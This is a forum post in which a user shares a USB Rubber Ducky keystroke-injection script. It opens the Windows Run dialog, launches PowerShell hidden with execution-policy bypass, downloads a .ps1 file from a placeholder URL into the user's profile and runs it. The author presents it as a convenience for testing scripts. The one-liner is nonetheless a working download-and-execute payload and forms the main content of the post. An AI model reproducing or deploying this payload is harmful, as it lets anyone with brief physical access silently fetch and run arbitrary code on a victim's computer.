Vivaldi Posted October 3, 2021 Share Posted October 3, 2021 (edited) Hey guys, I just got my rubber ducky and got tired of having to open up my Rubber Duck and transferring the SD card around to test scripts. So I made a little one liner to download and run a .ps1 script. It creates a temp folder in the user's directory and downloads the script to the newly created folder through Invoke-WebRequest. Because some websites will consider Net.Webclient to be a bot and will refuse the request. And then it will simply execute the downloaded script. REM Downoad and execute script DELAY 1000 GUI r DELAY 200 STRING powershell -NoP -NonI -W h -Exec Bypass md "$env:userprofile\temp"; iwr "<YOUR URL>/1.ps1" -outfile "$env:userprofile\temp\1.ps1"; cd $env:userprofile\temp; sleep 5; & .\1.ps1 DELAY 10 ENTER Edit: I've shaved off some characters off of the parameters. 'Cause shortest scripts are bestest scripts! Edited November 1, 2021 by Vivaldi Quote Link to comment Share on other sites More sharing options...
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.